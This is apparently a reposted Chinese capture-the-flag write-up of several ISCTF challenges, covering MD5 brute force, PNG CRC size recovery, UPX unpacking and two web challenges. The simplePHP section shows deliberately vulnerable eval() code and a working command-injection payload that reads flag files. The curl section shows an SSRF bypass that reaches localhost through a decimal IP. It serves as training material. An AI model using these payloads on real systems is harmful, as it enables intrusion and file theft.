CTF刷题记录

news2024/11/17 23:54:36

刷题

  • 我的md5脏了
  • KFC疯狂星期四
  • 坤坤的csgo邀请
  • simplePHP
  • curl

我的md5脏了

g0at无意间发现了被打乱的flag:I{i?8Sms??Cd_1?T51??F_1?}
但是好像缺了不少东西,flag的md5值已经通过py交易得到了:88875458bdd87af5dd2e3c750e534741

flag的MD5值,写了好久的没有加ISCTF{},有些迷茫,多次尝试出来了

# 生成MD5值
import hashlib

s = '1234567890'
# ps = [i for i in range(len(s))]
with open('md5.txt', 'w') as f:
    print('正在写入。。。')
    for i in range(len(s)):
        for j in range(len(s)):
            for k in range(len(s)):
                for l in range(len(s)):
                    for r in range(len(s)):
                        for m in range(len(s)):
                            for n in range(len(s)):
                                md5 = hashlib.md5(('ISCTF{md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[
                                    n]+'}').encode()).hexdigest() + '\n'
                                f.write(md5)
    print('写入完成。')

# 寻找MD5数
import hashlib

s = '1234567890'
# ps = [i for i in range(len(s))]
with open('md6.txt', 'w') as f:
    print('正在写入。。。')
    for i in range(len(s)):
        for j in range(len(s)):
            for k in range(len(s)):
                for l in range(len(s)):
                    for r in range(len(s)):
                        for m in range(len(s)):
                            for n in range(len(s)):
                                md5 = 'md5_is_11' + s[i] + s[j] + '1' + s[k] + s[l] + '8' + s[r] + s[m] + s[
                                    n] + '\n'
                                f.write(md5)
    print('写入完成。')

KFC疯狂星期四

图片根据CRC校验可计算出原图片的宽高

import zlib
import struct
import argparse
import itertools


parser = argparse.ArgumentParser()
parser.add_argument("-f", type=str, default=None, required=True,
                    help="输入同级目录下图片的名称")
args  = parser.parse_args()


bin_data = open(args.f, 'rb').read()
crc32key = zlib.crc32(bin_data[12:29]) # 计算crc
original_crc32 = int(bin_data[29:33].hex(), 16) # 原始crc


if crc32key == original_crc32: # 计算crc对比原始crc
    print('宽高没有问题!')
else:
    input_ = input("宽高被改了, 是否CRC爆破宽高? (Y/n):")
    if input_ not in ["Y", "y", ""]:
        exit()
    else: 
        for i, j in itertools.product(range(4095), range(4095)): # 理论上0x FF FF FF FF,但考虑到屏幕实际/cpu,0x 0F FF就差不多了,也就是4095宽度和高度
            data = bin_data[12:16] + struct.pack('>i', i) + struct.pack('>i', j) + bin_data[24:29]
            crc32 = zlib.crc32(data)
            if(crc32 == original_crc32): # 计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
                print(f"\nCRC32: {hex(original_crc32)}")
                print(f"宽度: {i}, hex: {hex(i)}")
                print(f"高度: {j}, hex: {hex(j)}")
                exit(0)

坤坤的csgo邀请

  1. upx 脱壳
    tap1
    tap2
    010 edit vmp为 UPX,使用upx工具进行脱壳使用win工具upx -d +"文件路径"进行脱壳
  2. 程序分析
    tap3
    tap4
    拖入IDA查找字符串如下
    flag1
    追踪得到flag
    flag2

simplePHP

<?php
highlight_file(__FILE__);
error_reporting(E_ERROR);



$str=$_GET['str'];
$pattern = "#\\\\\\\\/Ilikeisctf#";
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}

if(preg_match($pattern,$str,$arr))
{
    echo "good try!";
    $num=$_GET['num'];
    if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
        echo "come on!!!";		// trim:不指定参数时,移除字符串两侧的空格
        if($num=='36'&isset($_GET['cmd'])){

                eval($_GET['cmd']);



        }else{
            echo "hacker!!";
        }
    }else{
        echo "hacker!!!";
    }
}

看到一个eval()可以执行代码,进入这里首要要满足,num通过is_numeric的检测,并且不等于36,去空后依然不等于36,经过过滤方法后依然等于36。

//	1.php
<?php
for($i = 0; $i<129; $i++){
	$num=chr($i).'36';
	if(trim($num)!=='36' && is_numeric($num) && $num!=='36'){
		echo urlencode(chr($i))."\n";
	}
};

http://localhost/1.php

结果:%0C %2B - . 0 1 2 3 4 5 6 7 8 9

%0c其实就是+号的url编码
Payload:?str=\\\\\\\\/Ilikeisctf&num=%0c36&cmd=system('tac /f*');

curl

描述:都告诉你curl了,剩下的就别问了
tap1
点击this出现如下:
tap2
返回去查看源代码,在注释里有一段代码。

tap3
先尝试?urls=http://127.0.0.1/flag.php发现被过滤了,localhost也不行。
尝试把127.0.0.1转化为其他进制

  • 2130706433 10进制 http://2130706433
  • 017700000001 8进制 http://017700000001
  • 7F000001 16进制 http://0x7F000001

尝试10进制可以,?urls=http://2130706433/flag.php得到flag

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1303114.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

2024美赛备战1--数据处理(数据预处理,异常值处理,预测模型,插值拟合 *****必看****)

1.数据预处理 所谓数据预处理&#xff0c;就是指在正式做题之前对数据进行的一些处理。在有些情 况下&#xff0c;出题方提供的数据或者网上查找的数据并不能直接使用&#xff0c;比如缺少数据甚 至是异常数据&#xff0c;如果直接忽略缺失值&#xff0c;或者没发现异常数据&am…

idea java 创建 hellword 项目

1.概要 建立一个最简单的工程&#xff0c;开始编码。 2.试验过程 2.1 创建的过程很简单&#xff0c;除了第一个窗口选择“java 模块”&#xff0c;其他的都是下一步。 2.2 还有就是刚创建的工程什么都没有需要&#xff0c;自己创建一个启动的类和启动函数。 2.3 运行和运行…

随机生成验证码的jar包

这是已经开发好的验证码&#xff0c;咱们直接调用接口&#xff0c;拿过来直接用就可以了 链接&#xff1a;https://pan.baidu.com/s/1QMPhW5UzxmhIa7THFab5hw 提取码&#xff1a;6666 下面演示一下&#xff1a; 首先创建一个Code来先生成随机验证码&#xff0c;然后传…

一个音乐能够做成二维码吗?音乐的活码制作技巧

一个音乐能够做成二维码后展示吗&#xff1f;现在以二维码为载体来储存内容的方式越来越常见&#xff0c;比如图片、文件、视频、音频都可以做成二维码展示&#xff0c;人们也更习惯去扫码获取内容。音频作为日常工作生活中常用的一种内容&#xff0c;可以用音频二维码生成器来…

如何在Word中简洁地插入代码

如何在Word中简洁地插入代码 背景&#xff1a; ​ 最近在一写一些论文或者报告的时候&#xff0c;需要将源代码放在论文的最后&#xff0c;有一个很头疼的问题&#xff0c;如果直接把代码从编辑器复制到word中&#xff0c;就变成了下面这个样子&#xff1a; 这有点丑陋啊&…

2023-12学习笔记

1.NonNull要手动写无参构造器 这是一个我今天研究了很久的问题&#xff0c;开始不知道原因是在这里&#xff0c;还在那想是不是Data覆盖了无参构造&#xff0c;结果当然不是。先说下解决历程 1.问题起因 通过RequestBody接收前端报文的时候报错&#xff0c;大致是说我构造方…

【算法提升—力扣每日一刷】五日总结【12/06--12/10】

2023/12/06 力扣每日一刷&#xff1a;206. 反转链表 给你单链表的头节点 head &#xff0c;请你反转链表&#xff0c;并返回反转后的链表。 示例 1&#xff1a; 输入&#xff1a;head [1,2,3,4,5] 输出&#xff1a;[5,4,3,2,1]示例 2&#xff1a; 输入&#xff1a;head [1,2…

马云说的AI电商真的要来了?AR技术虚拟试穿公司ZERO10引入AI人工智能模型,未来试衣间就应这样!

ZERO10 是一家提供虚拟试穿体验的公司&#xff0c;他们基于自家的 AR 技术&#xff0c;提供高度逼真且顶尖的虚拟试穿体验。与现有的技术不同&#xff0c;他们的生成式人工智能试穿技术只需要 1-5 张用户照片&#xff0c;就可以实现虚拟试穿。这种方法为规模化应用提供了巨大机…

jquery手写广告轮播图,无限循环功能

说明 在很多情况下&#xff0c;我们都需要开发广告轮播图&#xff0c;当我们进行页面的功能开发时&#xff0c;采用轮播图来实现也行&#xff0c;但是很多情况下&#xff0c;我们只需要简单的控制轮播循环轮播展示即可&#xff0c;所以用jq开开发广告轮播波&#xff0c;自定义…

NR重写console.log 增加时间信息

如题&#xff0c;默认console.log输出的日志是13位的时间戳&#xff0c;然后不方便查看与对比代码运行点的耗时&#xff0c;我们可以简单地重写 console.log方法&#xff0c;增加自定义时间戳格式&#xff0c;如下是增加时间&#xff08;时&#xff0c;分&#xff0c;秒&#x…

dirmap 工具学习

dirmap 1.1 工具的下载路径1.2 工具的安装流程1.3 工具的详细使用参数说明测试实验 1.1 工具的下载路径 dirmap 是一个高级 web 目录扫描工具&#xff0c;基于 python3 开发、运行&#xff0c;功能将会强于 DirBuster、Dirsearch、cansina、御剑。 github 下载地址 1.2 工具…

日本服务器:确保其稳定性的几个要点

​  在租用日本服务器时&#xff0c;用户们大多一定会关注它的稳定性&#xff0c;其实这些顾及都是正常的。毕竟&#xff0c;网站要想正常运行&#xff0c;保障服务器稳定是关键。本文将讨论有关如何保障日本服务器稳定性的一些有用技巧&#xff0c;希望对您有所帮助。 1.注重…

西工大网络空间安全学院计算机系统基础实验二(清楚实验框架及phase_1)

首先&#xff0c;将自己的实验包从Windows系统中使用scp命令传到Linux虚拟机中。而要想传到Linux虚拟机中&#xff0c;第一步就是要确定Linux虚拟机的IP地址&#xff0c;如 图1&#xff1a;确定Linux虚拟机的IP地址 所示。接着使用scp命令将实验包从Windows系统传送到Linux虚拟…

Linux系统的各项命令

文章目录 Linux系统的目录结构Linux路径的描述方式Linux命令入门**什么是命令、命令行**Linux命令基础格式 ls命令入门HOME目录和工作目录ls命令的参数和选项ls命令的 -a选项ls命令的 -l选项ls命令选项的组合使用ls选项和参数的组合使用ls命令的 -h选项 目录切换相关命令&#…

迅为RK3568开发板使用OpenCV处理图像(颜色转换)

1 颜色转换 本小节代码在配套资料“iTOP-3568 开发板\03_【iTOP-RK3568 开发板】指南教程 \04_OpenCV 开发配套资料\05”目录下&#xff0c;如下图所示&#xff1a; cv2.cvtColor()函数功能&#xff1a; 将一幅图像从一个色彩空间转换到另一个色彩空间。 函数原型&#xff…

使用pe安装windows操作系统

一、系统安装前准备工作&#xff0c;制作系统盘 &#xff08;1&#xff09;拷贝电脑上的资料 &#xff08;2&#xff09;准备一个至少8G的U盘 &#xff08;3&#xff09;下载windows镜像文件及pe软件 通过百度网盘可下载下列软件及镜像 windows镜像文件&#xff08;百度网盘…

Shell三剑客:正则表达式简介

前言 一、名称解释 正则表达式&#xff08;regular expression&#xff0c;RE&#xff09;是一种字符模式&#xff0c;用于在查找过程中匹配指定的字符。在大多数程序里&#xff0c;正则表达式都被置于两个正斜杠之间&#xff1b;例如/l[oO]ve/就是由正斜杠界定的正则表达式&am…

无需公网IP联机Minecraft,我的世界服务器本地搭建教程

目录 前言 1.Mcsmanager安装 2.创建Minecraft服务器 3.本地测试联机 4. 内网穿透 4.1 安装cpolar内网穿透 4.2 创建隧道映射内网端口 5.远程联机测试 6. 配置固定远程联机端口地址 6.1 保留一个固定TCP地址 6.2 配置固定TCP地址 7. 使用固定公网地址远程联机 8.总…

【docker三】Docker镜像的创建方法

目录 一、Docker镜像&#xff1a; 1、 镜像的概念 2、docker的创建镜像方式&#xff1a; 1.1、基于已有镜像进行创建&#xff1a; 1.2、基于模版创建&#xff1a; 1.3、基于dockerfile创建&#xff1a; 二、Dockerfile概述 1、Dockerfile概念&#xff1a; 2、dockerfile…

数据结构与算法—递归及其应用(八皇后,小球出迷宫)

递归 文章目录 递归1.递归应用场景2.递归的概念3.递归调用机制4.递归能解决什么问题5.递归需要遵守的重要规则6.递归-迷宫、八皇后问题6.1 迷宫问题6.2 八皇后问题 1.递归应用场景 迷宫问题(回溯)&#xff0c;递归(Recursion) 2.递归的概念 简单的说&#xff1a;递归就是方法自…